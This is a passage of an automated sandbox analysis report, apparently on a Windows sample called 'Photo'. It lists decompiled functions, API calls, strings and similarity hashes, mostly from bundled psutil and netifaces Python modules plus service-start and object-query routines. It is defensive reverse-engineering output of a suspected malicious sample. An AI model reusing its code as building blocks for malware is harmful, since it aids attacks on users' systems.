PyArg_ParseTuple.PYTHON27(?,0276D4B0), ref: 02767AAF
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 02767ADD
CloseServiceHandle.ADVAPI32(00000000), ref: 02767AF5

Strings

StartService, xrefs: 02767AE7

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Service$Arg_CloseHandleParseStartTuple
String ID: StartService
API String ID: 2343249381-99420325
Opcode ID: ec5b4b11b161af2bccf14b9f02fb1bf81551a9245c85aced9b8a7be84c9ffd9b
Instruction ID: 9970fb691a7d9a38eb14e6148f193d513ddfa71235d37e467e4f9b1bad16bee3
Opcode Fuzzy Hash: ec5b4b11b161af2bccf14b9f02fb1bf81551a9245c85aced9b8a7be84c9ffd9b
Instruction Fuzzy Hash: 79F0F670745311EFD3399760BC0DFBB77A8DB04799F148814FE06D6241E774A4209A95

Uniqueness

Uniqueness Score: -1.00%

Function 02766880 Relevance: 4.5, APIs: 3, Instructions: 23
nativesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02766880() {
				void* _t1;
				void* _t3;
				long _t4;
				long _t6;
				void* _t7;
				void* _t8;

				L1:
				_t1 =  *0x276d80c; // 0x0
				WaitForSingleObject(_t1, 0xffffffff);
				_t6 =  *0x276d81c; // 0x0
				_t8 =  *0x276d818; // 0x0
				_t3 =  *0x276d808; // 0x0
				_t4 = NtQueryObject(_t3, 1, _t8, _t6, 0x276d820);
				_t7 =  *0x276d810; // 0x0
				 *0x276dbd8 = _t4;
				SetEvent(_t7);
				goto L1;
			}

0x02766890
0x02766890
0x02766898
0x0276689a
0x027668a0
0x027668a6
0x027668b5
0x027668bb
0x027668c2
0x027668c7
0x00000000

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02766898
NtQueryObject.NTDLL(00000000,00000001,00000000,00000000,0276D820), ref: 027668B5
SetEvent.KERNEL32(00000000), ref: 027668C7

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Object$EventQuerySingleWait
String ID:
API String ID: 263510574-0
Opcode ID: 6f12be2d92af16db31b2d0581ab9b000d128e3e6cb342b4910bf27ab1464eaf5
Instruction ID: e73e2b09dea256f37b91ccfc9a6396cf74c942eb3bedacaafe436eb58a38455b
Opcode Fuzzy Hash: 6f12be2d92af16db31b2d0581ab9b000d128e3e6cb342b4910bf27ab1464eaf5
Instruction Fuzzy Hash: E3E0EDB5FA4303ABD624DB58EC4EC6577EDE78CB20710CA1AF91593380D6B068648BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02767EE0 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E02767EE0() {
				intOrPtr _v280;
				char _v284;
				intOrPtr _t8;
				intOrPtr _t10;
				intOrPtr _t14;

				L0276836A();
				 *0x276dbfc( &_v284 + 0xc,  &_v284, 0, 0x11c);
				_t8 = _v284;
				if(_t8 != 5) {
					if(_t8 != 6) {
						if(_t8 != 0xa) {
							goto L16;
						} else {
							 *0x276db74 = 0x64;
							if(_v280 != 0) {
								goto L16;
							}
						}
						goto L17;
					} else {
						_t10 = _v280;
						if(_t10 != 0) {
							if(_t10 != 1) {
								if(_t10 != 2) {
									if(_t10 != 3) {
										goto L16;
									} else {
										 *0x276db74 = 0x3f;
										return 0;
									}
								} else {
									 *0x276db74 = 0x3e;
									return 0;
								}
							} else {
								 *0x276db74 = 0x3d;
								return 0;
							}
						} else {
							 *0x276db74 = 0x3c;
							return _t10;
						}
					}
				} else {
					_t14 = _v280;
					if(_t14 != 1) {
						if(_t14 != 2) {
							L16:
							 *0x276db74 = 0x7fffffff;
							L17:
							return 0;
						} else {
							 *0x276db74 = 0x34;
							return 0;
						}
					} else {
						 *0x276db74 = 0x33;
						return 0;
					}
				}
			}

0x02767ef2
0x02767efe
0x02767f04
0x02767f0b
0x02767f48
0x02767fae
0x00000000
0x02767fb0
0x02767fb5
0x02767fbf
0x00000000
0x00000000
0x02767fbf
0x00000000
0x02767f4a
0x02767f4a
0x02767f50
0x02767f66
0x02767f7e
0x02767f96
0x00000000
0x02767f98
0x02767f98
0x02767faa
0x02767faa
0x02767f80
0x02767f80
0x02767f92
0x02767f92
0x02767f68
0x02767f68
0x02767f7a
0x02767f7a
0x02767f52
0x02767f52
0x02767f62
0x02767f62
0x02767f50
0x02767f0d
0x02767f0d
0x02767f14
0x02767f2c
0x02767fc1
0x02767fc1
0x02767fcb
0x02767fd3
0x02767f32
0x02767f32
0x02767f44
0x02767f44
0x02767f16
0x02767f16
0x02767f28
0x02767f28
0x02767f14

APIs

RtlGetVersion.NTDLL ref: 02767EFE

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 63fb7a8bb4104d25461f0f6fdc5ab9258b7e2d29678a5da7cf3361f7cc6fdde1
Instruction ID: c24176ba85034fd20dfbfe37e83c1cac6e79dc2bb7f9ad068aa4ffa527b785e6
Opcode Fuzzy Hash: 63fb7a8bb4104d25461f0f6fdc5ab9258b7e2d29678a5da7cf3361f7cc6fdde1
Instruction Fuzzy Hash: B21198B0E902029FD738CA34E98EBF676D4E746794F904D14E918C5194E3BDC1A98782

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA5B0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ea599b362749ced62664b87eac7c729192e15c9ff3d8314c84a86bab60ad823
Instruction ID: 59322ac201180b450d13c431d05fee05d63add1ccf581f043069f1be97ecfaad
Opcode Fuzzy Hash: 0ea599b362749ced62664b87eac7c729192e15c9ff3d8314c84a86bab60ad823
Instruction Fuzzy Hash: 74B09B30608301E67744AE358510226B1D56FC0540F844B5DE545C127CD330D800EB69

Uniqueness

Uniqueness Score: -1.00%

Function 027820F0 Relevance: 341.7, APIs: 129, Strings: 66, Instructions: 472networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 02782101
Py_InitModule4.PYTHON27(netifaces,02784578,00000000,00000000,000003F5), ref: 0278211A
PyDict_New.PYTHON27 ref: 02782130
PyModule_AddIntConstant.PYTHON27(00000000,AF_UNSPEC,00000000), ref: 02782146
PyUnicodeUCS2_FromString.PYTHON27(AF_UNSPEC), ref: 02782153
PyInt_FromLong.PYTHON27(00000000,00000000), ref: 0278215B
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 02782166
PyModule_AddIntConstant.PYTHON27(00000000,AF_UNIX,00000001), ref: 02782174
PyUnicodeUCS2_FromString.PYTHON27(AF_UNIX), ref: 0278217B
PyInt_FromLong.PYTHON27(00000001,00000000), ref: 02782183
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278218E
PyModule_AddIntConstant.PYTHON27(00000000,AF_INET,00000002), ref: 0278219C
PyUnicodeUCS2_FromString.PYTHON27(AF_INET), ref: 027821A3
PyInt_FromLong.PYTHON27(00000002,00000000), ref: 027821AB
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027821B6
PyModule_AddIntConstant.PYTHON27(00000000,AF_IMPLINK,00000003), ref: 027821C4
PyUnicodeUCS2_FromString.PYTHON27(AF_IMPLINK), ref: 027821CB
PyInt_FromLong.PYTHON27(00000003,00000000), ref: 027821D3
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027821DE
PyModule_AddIntConstant.PYTHON27(00000000,AF_PUP,00000004), ref: 027821EC
PyUnicodeUCS2_FromString.PYTHON27(AF_PUP), ref: 027821F3
PyInt_FromLong.PYTHON27(00000004,00000000), ref: 027821FB
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 02782206
PyModule_AddIntConstant.PYTHON27(00000000,AF_CHAOS,00000005), ref: 02782214
PyUnicodeUCS2_FromString.PYTHON27(AF_CHAOS), ref: 0278221B
PyInt_FromLong.PYTHON27(00000005,00000000), ref: 02782223
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278222E
PyModule_AddIntConstant.PYTHON27(00000000,AF_NS,00000006), ref: 0278223C
PyUnicodeUCS2_FromString.PYTHON27(AF_NS), ref: 02782243
PyInt_FromLong.PYTHON27(00000006,00000000), ref: 0278224B
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 02782256
PyModule_AddIntConstant.PYTHON27(00000000,AF_ISO,00000007), ref: 02782264
PyUnicodeUCS2_FromString.PYTHON27(AF_ISO), ref: 0278226B
PyInt_FromLong.PYTHON27(00000007,00000000), ref: 02782273
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278227E
PyModule_AddIntConstant.PYTHON27(00000000,AF_ECMA,00000008), ref: 0278228C
PyUnicodeUCS2_FromString.PYTHON27(AF_ECMA), ref: 02782293
PyInt_FromLong.PYTHON27(00000008,00000000), ref: 0278229B
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027822A6
PyModule_AddIntConstant.PYTHON27(00000000,AF_DATAKIT,00000009), ref: 027822B4
PyUnicodeUCS2_FromString.PYTHON27(AF_DATAKIT), ref: 027822BB
PyInt_FromLong.PYTHON27(00000009,00000000), ref: 027822C3
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027822CE
PyModule_AddIntConstant.PYTHON27(00000000,AF_CCITT,0000000A), ref: 027822DC
PyUnicodeUCS2_FromString.PYTHON27(AF_CCITT), ref: 027822E3
PyInt_FromLong.PYTHON27(0000000A,00000000), ref: 027822EB
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027822F6
PyModule_AddIntConstant.PYTHON27(00000000,AF_SNA,0000000B), ref: 02782304
PyUnicodeUCS2_FromString.PYTHON27(AF_SNA), ref: 0278230B
PyInt_FromLong.PYTHON27(0000000B,00000000), ref: 02782313
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278231E
PyModule_AddIntConstant.PYTHON27(00000000,AF_DECnet,0000000C), ref: 0278232C
PyUnicodeUCS2_FromString.PYTHON27(AF_DECnet), ref: 02782333
PyInt_FromLong.PYTHON27(0000000C,00000000), ref: 0278233B
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 02782346
PyModule_AddIntConstant.PYTHON27(00000000,AF_DLI,0000000D), ref: 02782354
PyUnicodeUCS2_FromString.PYTHON27(AF_DLI), ref: 0278235B
PyInt_FromLong.PYTHON27(0000000D,00000000), ref: 02782363
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278236E
PyModule_AddIntConstant.PYTHON27(00000000,AF_LAT,0000000E), ref: 0278237C
PyUnicodeUCS2_FromString.PYTHON27(AF_LAT), ref: 02782383
PyInt_FromLong.PYTHON27(0000000E,00000000), ref: 0278238B
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 02782396
PyModule_AddIntConstant.PYTHON27(00000000,AF_HYLINK,0000000F), ref: 027823A4
PyUnicodeUCS2_FromString.PYTHON27(AF_HYLINK), ref: 027823AB
PyInt_FromLong.PYTHON27(0000000F,00000000), ref: 027823B3
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027823BE
PyModule_AddIntConstant.PYTHON27(00000000,AF_APPLETALK,00000010), ref: 027823CC
PyUnicodeUCS2_FromString.PYTHON27(AF_APPLETALK), ref: 027823D3
PyInt_FromLong.PYTHON27(00000010,00000000), ref: 027823DB
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027823E6
PyModule_AddIntConstant.PYTHON27(00000000,AF_LINK,FFFFFC18), ref: 027823F7
PyUnicodeUCS2_FromString.PYTHON27(AF_LINK), ref: 027823FE
PyInt_FromLong.PYTHON27(FFFFFC18,00000000), ref: 02782409
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 02782414
PyModule_AddIntConstant.PYTHON27(00000000,AF_IPX,00000006), ref: 02782422
PyUnicodeUCS2_FromString.PYTHON27(AF_IPX), ref: 02782429
PyInt_FromLong.PYTHON27(00000006,00000000), ref: 02782431
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278243C
PyModule_AddIntConstant.PYTHON27(00000000,AF_INET6,00000017), ref: 0278244A
PyUnicodeUCS2_FromString.PYTHON27(AF_INET6), ref: 02782451
PyInt_FromLong.PYTHON27(00000017,00000000), ref: 02782459
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 02782464
PyModule_AddIntConstant.PYTHON27(00000000,AF_NETBIOS,00000011), ref: 02782472
PyUnicodeUCS2_FromString.PYTHON27(AF_NETBIOS), ref: 02782479
PyInt_FromLong.PYTHON27(00000011,00000000), ref: 02782481
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278248C
PyModule_AddIntConstant.PYTHON27(00000000,AF_ATM,00000016), ref: 0278249A
PyUnicodeUCS2_FromString.PYTHON27(AF_ATM), ref: 027824A1
PyInt_FromLong.PYTHON27(00000016,00000000), ref: 027824A9
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027824B4
PyModule_AddIntConstant.PYTHON27(00000000,AF_VOICEVIEW,00000012), ref: 027824C2
PyUnicodeUCS2_FromString.PYTHON27(AF_VOICEVIEW), ref: 027824C9
PyInt_FromLong.PYTHON27(00000012,00000000), ref: 027824D1
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027824DC
PyModule_AddIntConstant.PYTHON27(00000000,AF_FIREFOX,00000013), ref: 027824EA
PyUnicodeUCS2_FromString.PYTHON27(AF_FIREFOX), ref: 027824F1
PyInt_FromLong.PYTHON27(00000013,00000000), ref: 027824F9
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 02782504
PyModule_AddIntConstant.PYTHON27(00000000,AF_UNKNOWN1,00000014), ref: 02782512
PyUnicodeUCS2_FromString.PYTHON27(AF_UNKNOWN1), ref: 02782519
PyInt_FromLong.PYTHON27(00000014,00000000), ref: 02782521
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278252C
PyModule_AddIntConstant.PYTHON27(00000000,AF_BAN,00000015), ref: 0278253A
PyUnicodeUCS2_FromString.PYTHON27(AF_BAN), ref: 02782541
PyInt_FromLong.PYTHON27(00000015,00000000), ref: 02782549
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 02782554
PyModule_AddIntConstant.PYTHON27(00000000,AF_CLUSTER,00000018), ref: 02782562
PyUnicodeUCS2_FromString.PYTHON27(AF_CLUSTER), ref: 02782569
PyInt_FromLong.PYTHON27(00000018,00000000), ref: 02782571
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278257C
PyModule_AddIntConstant.PYTHON27(00000000,AF_12844,00000019), ref: 0278258A
PyUnicodeUCS2_FromString.PYTHON27(AF_12844), ref: 02782591
PyInt_FromLong.PYTHON27(00000019,00000000), ref: 02782599
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027825A4
PyModule_AddIntConstant.PYTHON27(00000000,AF_IRDA,0000001A), ref: 027825B2
PyUnicodeUCS2_FromString.PYTHON27(AF_IRDA), ref: 027825B9
PyInt_FromLong.PYTHON27(0000001A,00000000), ref: 027825C1
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027825CC
PyModule_AddIntConstant.PYTHON27(00000000,AF_NETDES,0000001C), ref: 027825DA
PyUnicodeUCS2_FromString.PYTHON27(AF_NETDES), ref: 027825E1
PyInt_FromLong.PYTHON27(0000001C,00000000), ref: 027825E9
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 027825F4
PyModule_AddIntConstant.PYTHON27(00000000,AF_SNA,0000000B), ref: 02782602
PyUnicodeUCS2_FromString.PYTHON27(AF_SNA), ref: 02782609
PyInt_FromLong.PYTHON27(0000000B,00000000), ref: 02782611
PyDict_SetItem.PYTHON27(00000000,00000000), ref: 0278261C
PyModule_AddObject.PYTHON27(00000000,address_families,00000000), ref: 02782629
PyModule_AddStringConstant.PYTHON27(00000000,version,0.10.9), ref: 0278263A

Strings

AF_NS, xrefs: 0278223E
AF_IMPLINK, xrefs: 027821C6
AF_HYLINK, xrefs: 027823A6
address_families, xrefs: 02782623
AF_UNKNOWN1, xrefs: 02782514
netifaces, xrefs: 02782115
AF_BAN, xrefs: 02782534
version, xrefs: 02782634
AF_ISO, xrefs: 02782266
AF_CHAOS, xrefs: 02782216
AF_IMPLINK, xrefs: 027821BE
AF_INET6, xrefs: 0278244C
AF_SNA, xrefs: 02782306
AF_LINK, xrefs: 027823F1
AF_DATAKIT, xrefs: 027822AE
AF_UNIX, xrefs: 0278216E
0.10.9, xrefs: 0278262F
AF_ATM, xrefs: 0278249C
AF_LINK, xrefs: 027823F9
AF_DLI, xrefs: 02782356
AF_UNKNOWN1, xrefs: 0278250C
AF_NETBIOS, xrefs: 0278246C
AF_APPLETALK, xrefs: 027823CE
AF_INET, xrefs: 02782196
AF_UNSPEC, xrefs: 0278214E
AF_LAT, xrefs: 0278237E
AF_12844, xrefs: 02782584
AF_DLI, xrefs: 0278234E
AF_INET, xrefs: 0278219E
AF_UNSPEC, xrefs: 0278213E
AF_DECnet, xrefs: 0278232E
AF_ISO, xrefs: 0278225E
AF_NS, xrefs: 02782236
AF_PUP, xrefs: 027821E6
AF_ATM, xrefs: 02782494
AF_12844, xrefs: 0278258C
AF_DATAKIT, xrefs: 027822B6
AF_UNIX, xrefs: 02782176
AF_SNA, xrefs: 027825FC
AF_HYLINK, xrefs: 0278239E
AF_CLUSTER, xrefs: 0278255C
AF_BAN, xrefs: 0278253C
AF_NETBIOS, xrefs: 02782474
AF_CCITT, xrefs: 027822DE
AF_PUP, xrefs: 027821EE
AF_APPLETALK, xrefs: 027823C6
AF_VOICEVIEW, xrefs: 027824C4
AF_IPX, xrefs: 0278241C
AF_CLUSTER, xrefs: 02782564
AF_IRDA, xrefs: 027825AC
AF_ECMA, xrefs: 02782286
AF_SNA, xrefs: 02782604
AF_NETDES, xrefs: 027825DC
AF_INET6, xrefs: 02782444
AF_CCITT, xrefs: 027822D6
AF_IRDA, xrefs: 027825B4
AF_IPX, xrefs: 02782424
AF_LAT, xrefs: 02782376
AF_SNA, xrefs: 027822FE
AF_DECnet, xrefs: 02782326
AF_NETDES, xrefs: 027825D4
AF_VOICEVIEW, xrefs: 027824BC
AF_CHAOS, xrefs: 0278220E
AF_FIREFOX, xrefs: 027824EC
AF_ECMA, xrefs: 0278228E
AF_FIREFOX, xrefs: 027824E4

Memory Dump Source

Source File: 00000001.00000002.428396427.0000000002781000.00000040.00000001.01000000.0000000B.sdmp, Offset: 02780000, based on PE: true

Associated: 00000001.00000002.428389719.0000000002780000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428396427.0000000002786000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428423823.0000000002789000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2780000_Photo.jbxd

Similarity

API ID: From$Module_$ConstantDict_String$Int_ItemLongUnicode$InitModule4ObjectStartup
String ID: 0.10.9$AF_12844$AF_12844$AF_APPLETALK$AF_APPLETALK$AF_ATM$AF_ATM$AF_BAN$AF_BAN$AF_CCITT$AF_CCITT$AF_CHAOS$AF_CHAOS$AF_CLUSTER$AF_CLUSTER$AF_DATAKIT$AF_DATAKIT$AF_DECnet$AF_DECnet$AF_DLI$AF_DLI$AF_ECMA$AF_ECMA$AF_FIREFOX$AF_FIREFOX$AF_HYLINK$AF_HYLINK$AF_IMPLINK$AF_IMPLINK$AF_INET$AF_INET$AF_INET6$AF_INET6$AF_IPX$AF_IPX$AF_IRDA$AF_IRDA$AF_ISO$AF_ISO$AF_LAT$AF_LAT$AF_LINK$AF_LINK$AF_NETBIOS$AF_NETBIOS$AF_NETDES$AF_NETDES$AF_NS$AF_NS$AF_PUP$AF_PUP$AF_SNA$AF_SNA$AF_SNA$AF_SNA$AF_UNIX$AF_UNIX$AF_UNKNOWN1$AF_UNKNOWN1$AF_UNSPEC$AF_UNSPEC$AF_VOICEVIEW$AF_VOICEVIEW$address_families$netifaces$version
API String ID: 2620406757-2010310828
Opcode ID: fe21f735cf95812979c7bd39710028539bacd6569f6248dc65134036820e0f5b
Instruction ID: 0d8f848dc87104400d8f894ed320f6a9b3ae6334be6533a1065941116d84f787
Opcode Fuzzy Hash: fe21f735cf95812979c7bd39710028539bacd6569f6248dc65134036820e0f5b
Instruction Fuzzy Hash: FDC1DEA0EC06157FF10137A8AC5BFBF3E2CDF16F05F148450F906A8182DAE59A2556BB

Uniqueness

Uniqueness Score: -1.00%

Function 027659B0 Relevance: 140.2, APIs: 40, Strings: 40, Instructions: 211COMMON

Download Yara Rule

APIs

Py_InitModule4.PYTHON27(_psutil_windows,0276C600,00000000,00000000,000003F5), ref: 027659C4

Part of subcall function 027670D0: GetLastError.KERNEL32(027659F6), ref: 027670E9
Part of subcall function 027670D0: PyErr_WarnEx.PYTHON27(?,psutil module couldn't set SE DEBUG mode for this process; please file an issue against psutil bug tracker,00000001), ref: 02767103
Part of subcall function 027670D0: PyErr_Clear.PYTHON27 ref: 0276710C

PyErr_NewException.PYTHON27(_psutil_windows.Error,00000000,00000000), ref: 02765A0C
PyErr_NewException.PYTHON27(_psutil_windows.TimeoutExpired,00000000,00000000), ref: 02765A3C
PyModule_AddObject.PYTHON27(00000000,TimeoutExpired,00000001), ref: 02765A52
PyErr_NewException.PYTHON27(_psutil_windows.TimeoutAbandoned,00000000,00000000), ref: 02765A5D
PyModule_AddObject.PYTHON27(00000000,TimeoutAbandoned,00000001), ref: 02765A6D
PyModule_AddIntConstant.PYTHON27(00000000,version,00000233), ref: 02765A80
PyModule_AddIntConstant.PYTHON27(00000000,ABOVE_NORMAL_PRIORITY_CLASS,00008000), ref: 02765A8D
PyModule_AddIntConstant.PYTHON27(00000000,BELOW_NORMAL_PRIORITY_CLASS,00004000), ref: 02765A9D
PyModule_AddIntConstant.PYTHON27(00000000,HIGH_PRIORITY_CLASS,00000080), ref: 02765AAA
PyModule_AddIntConstant.PYTHON27(00000000,IDLE_PRIORITY_CLASS,00000040), ref: 02765AB4
PyModule_AddIntConstant.PYTHON27(00000000,NORMAL_PRIORITY_CLASS,00000020), ref: 02765ABE
PyModule_AddIntConstant.PYTHON27(00000000,REALTIME_PRIORITY_CLASS,00000100), ref: 02765ACB
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_CLOSED,00000001), ref: 02765AD5
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_CLOSING,00000009), ref: 02765AE2
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_CLOSE_WAIT,00000008), ref: 02765AEC
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_LISTEN,00000002), ref: 02765AF6
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_ESTAB,00000005), ref: 02765B00
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_SYN_SENT,00000003), ref: 02765B0A
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_SYN_RCVD,00000004), ref: 02765B14
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_FIN_WAIT1,00000006), ref: 02765B21
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_FIN_WAIT2,00000007), ref: 02765B2B
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_LAST_ACK,0000000A), ref: 02765B35
PyModule_AddIntConstant.PYTHON27(00000000,MIB_TCP_STATE_TIME_WAIT,0000000B), ref: 02765B3F

Strings

TimeoutExpired, xrefs: 02765A47
MIB_TCP_STATE_DELETE_TCB, xrefs: 02765B4D
NORMAL_PRIORITY_CLASS, xrefs: 02765AB8
INFINITE, xrefs: 02765B67
BELOW_NORMAL_PRIORITY_CLASS, xrefs: 02765A97
ERROR_INVALID_NAME, xrefs: 02765B7B
WINDOWS_SERVER_2003, xrefs: 02765BBB
MIB_TCP_STATE_FIN_WAIT1, xrefs: 02765B1B
MIB_TCP_STATE_TIME_WAIT, xrefs: 02765B39
WINDOWS_7, xrefs: 02765BCF
WINDOWS_VISTA, xrefs: 02765BC5
WINDOWS_8, xrefs: 02765BD9
_psutil_windows, xrefs: 027659BF
WINDOWS_8_1, xrefs: 02765BE6
ERROR_PRIVILEGE_NOT_HELD, xrefs: 02765B95
ERROR_ACCESS_DENIED, xrefs: 02765B71
_psutil_windows.TimeoutAbandoned, xrefs: 02765A58
version, xrefs: 02765A7A
TimeoutAbandoned, xrefs: 02765A62
_psutil_windows.Error, xrefs: 02765A07
MIB_TCP_STATE_LISTEN, xrefs: 02765AF0
MIB_TCP_STATE_CLOSING, xrefs: 02765ADC
MIB_TCP_STATE_CLOSE_WAIT, xrefs: 02765AE6
WINDOWS_10, xrefs: 02765BF0
IDLE_PRIORITY_CLASS, xrefs: 02765AAE
REALTIME_PRIORITY_CLASS, xrefs: 02765AC5
HIGH_PRIORITY_CLASS, xrefs: 02765AA4
MIB_TCP_STATE_SYN_RCVD, xrefs: 02765B0E
WINDOWS_XP, xrefs: 02765BB1
MIB_TCP_STATE_CLOSED, xrefs: 02765ACF
MIB_TCP_STATE_SYN_SENT, xrefs: 02765B04
MIB_TCP_STATE_TIME_WAIT, xrefs: 02765B43
MIB_TCP_STATE_ESTAB, xrefs: 02765AFA
PSUTIL_CONN_NONE, xrefs: 02765B5D
MIB_TCP_STATE_FIN_WAIT2, xrefs: 02765B25
ERROR_SERVICE_DOES_NOT_EXIST, xrefs: 02765B88
_psutil_windows.TimeoutExpired, xrefs: 02765A37
WINVER, xrefs: 02765BA7
ABOVE_NORMAL_PRIORITY_CLASS, xrefs: 02765A87
MIB_TCP_STATE_LAST_ACK, xrefs: 02765B2F

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Module_$Constant$Err_$Exception$Object$ClearErrorInitLastModule4Warn
